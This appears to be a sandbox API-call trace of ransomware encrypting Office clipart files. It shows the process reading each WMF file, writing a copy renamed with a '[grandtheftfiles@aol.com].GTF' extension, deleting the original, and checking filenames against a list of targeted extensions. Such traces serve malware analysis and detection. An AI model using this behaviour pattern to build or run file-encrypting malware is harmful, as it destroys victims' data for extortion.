	[0168.352] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3490, lpOverlapped=0x0) returned 1
	[0168.355] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x34a0, lpOverlapped=0x0) returned 1
	[0168.356] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.356] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.356] SetEndOfFile (hFile=0x540) returned 1
	[0168.356] CloseHandle (hObject=0x540) returned 1
	[0168.356] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.357] SetEndOfFile (hFile=0x3dc) returned 1
	[0168.360] CloseHandle (hObject=0x3dc) returned 1
	[0168.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1
	[0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.361] lstrlenW (lpString=".doc") returned 4
	[0168.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.361] lstrlenW (lpString=".docx") returned 5
	[0168.361] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.361] lstrlenW (lpString=".pdf") returned 4
	[0168.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.361] lstrlenW (lpString=".xls") returned 4
	[0168.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.362] lstrlenW (lpString=".xlsx") returned 5
	[0168.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.362] lstrlenW (lpString=".ppt") returned 4
	[0168.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString=".zip") returned 4
	[0168.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.362] lstrlenW (lpString=".rar") returned 4
	[0168.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString=".bz2") returned 4
	[0168.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString=".7z") returned 3
	[0168.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString=".dbf") returned 4
	[0168.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString=".1cd") returned 4
	[0168.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString=".jpg") returned 4
	[0168.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.362] lstrlenW (lpString=".doc") returned 4
	[0168.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString=".docx") returned 5
	[0168.362] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.362] lstrlenW (lpString=".pdf") returned 4
	[0168.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.362] lstrlenW (lpString=".xls") returned 4
	[0168.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.362] lstrlenW (lpString=".xlsx") returned 5
	[0168.362] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.363] lstrlenW (lpString=".ppt") returned 4
	[0168.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.363] lstrlenW (lpString=".zip") returned 4
	[0168.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.363] lstrlenW (lpString=".rar") returned 4
	[0168.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.363] lstrlenW (lpString=".bz2") returned 4
	[0168.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.363] lstrlenW (lpString=".7z") returned 3
	[0168.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.363] lstrlenW (lpString=".dbf") returned 4
	[0168.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.363] lstrlenW (lpString=".1cd") returned 4
	[0168.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0168.363] lstrlenW (lpString=".jpg") returned 4
	[0168.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.363] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.363] lstrlenW (lpString="J0107152.WMF") returned 12
	[0168.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.364] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=22532) returned 1
	[0168.364] CloseHandle (hObject=0x3dc) returned 1
	[0168.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220
	[0168.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.364] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.364] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.365] GetLastError () returned 0x0
	[0168.365] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x5804, lpOverlapped=0x0) returned 1
	[0168.367] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5810, lpOverlapped=0x0) returned 1
	[0168.368] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.369] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.369] SetEndOfFile (hFile=0x540) returned 1
	[0168.369] CloseHandle (hObject=0x540) returned 1
	[0168.369] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.369] SetEndOfFile (hFile=0x3dc) returned 1
	[0168.372] CloseHandle (hObject=0x3dc) returned 1
	[0168.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1
	[0168.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.373] lstrlenW (lpString=".doc") returned 4
	[0168.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.373] lstrlenW (lpString=".docx") returned 5
	[0168.373] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.373] lstrlenW (lpString=".pdf") returned 4
	[0168.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.373] lstrlenW (lpString=".xls") returned 4
	[0168.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.373] lstrlenW (lpString=".xlsx") returned 5
	[0168.373] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.373] lstrlenW (lpString=".ppt") returned 4
	[0168.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.373] lstrlenW (lpString=".zip") returned 4
	[0168.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.373] lstrlenW (lpString=".rar") returned 4
	[0168.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.373] lstrlenW (lpString=".bz2") returned 4
	[0168.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.373] lstrlenW (lpString=".7z") returned 3
	[0168.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString=".dbf") returned 4
	[0168.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString=".1cd") returned 4
	[0168.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString=".jpg") returned 4
	[0168.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString=".doc") returned 4
	[0168.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString=".docx") returned 5
	[0168.374] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.374] lstrlenW (lpString=".pdf") returned 4
	[0168.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString=".xls") returned 4
	[0168.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.374] lstrlenW (lpString=".xlsx") returned 5
	[0168.374] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.374] lstrlenW (lpString=".ppt") returned 4
	[0168.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.374] lstrlenW (lpString=".zip") returned 4
	[0168.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.374] lstrlenW (lpString=".rar") returned 4
	[0168.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString=".bz2") returned 4
	[0168.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.374] lstrlenW (lpString=".7z") returned 3
	[0168.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.375] lstrlenW (lpString=".dbf") returned 4
	[0168.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.375] lstrlenW (lpString=".1cd") returned 4
	[0168.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0168.375] lstrlenW (lpString=".jpg") returned 4
	[0168.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.375] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.375] lstrlenW (lpString="J0107154.WMF") returned 12
	[0168.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.375] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=22300) returned 1
	[0168.376] CloseHandle (hObject=0x3dc) returned 1
	[0168.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220
	[0168.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0168.376] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.376] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.377] GetLastError () returned 0x0
	[0168.377] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x571c, lpOverlapped=0x0) returned 1
	[0168.668] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5720, lpOverlapped=0x0) returned 1
	[0168.670] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.670] WriteFile (in: hFile=0x540, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.670] SetEndOfFile (hFile=0x540) returned 1
	[0168.670] CloseHandle (hObject=0x540) returned 1
	[0168.671] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.671] SetEndOfFile (hFile=0x3dc) returned 1
	[0168.982] CloseHandle (hObject=0x3dc) returned 1
	[0168.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString=".doc") returned 4
	[0169.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString=".docx") returned 5
	[0169.192] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.192] lstrlenW (lpString=".pdf") returned 4
	[0169.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString=".xls") returned 4
	[0169.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.192] lstrlenW (lpString=".xlsx") returned 5
	[0169.192] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.192] lstrlenW (lpString=".ppt") returned 4
	[0169.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString=".zip") returned 4
	[0169.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.192] lstrlenW (lpString=".rar") returned 4
	[0169.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString=".bz2") returned 4
	[0169.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString=".7z") returned 3
	[0169.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString=".dbf") returned 4
	[0169.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString=".1cd") returned 4
	[0169.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString=".jpg") returned 4
	[0169.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.193] lstrlenW (lpString=".doc") returned 4
	[0169.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString=".docx") returned 5
	[0169.193] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.193] lstrlenW (lpString=".pdf") returned 4
	[0169.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString=".xls") returned 4
	[0169.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.193] lstrlenW (lpString=".xlsx") returned 5
	[0169.193] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.193] lstrlenW (lpString=".ppt") returned 4
	[0169.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.193] lstrlenW (lpString=".zip") returned 4
	[0169.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.193] lstrlenW (lpString=".rar") returned 4
	[0169.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString=".bz2") returned 4
	[0169.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString=".7z") returned 3
	[0169.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.193] lstrlenW (lpString=".dbf") returned 4
	[0169.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.193] lstrlenW (lpString=".1cd") returned 4
	[0169.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0169.193] lstrlenW (lpString=".jpg") returned 4
	[0169.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.193] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.194] lstrlenW (lpString="J0107344.WMF") returned 12
	[0169.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.194] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5076) returned 1
	[0169.194] CloseHandle (hObject=0x504) returned 1
	[0169.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220
	[0169.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.195] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.195] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.196] GetLastError () returned 0x0
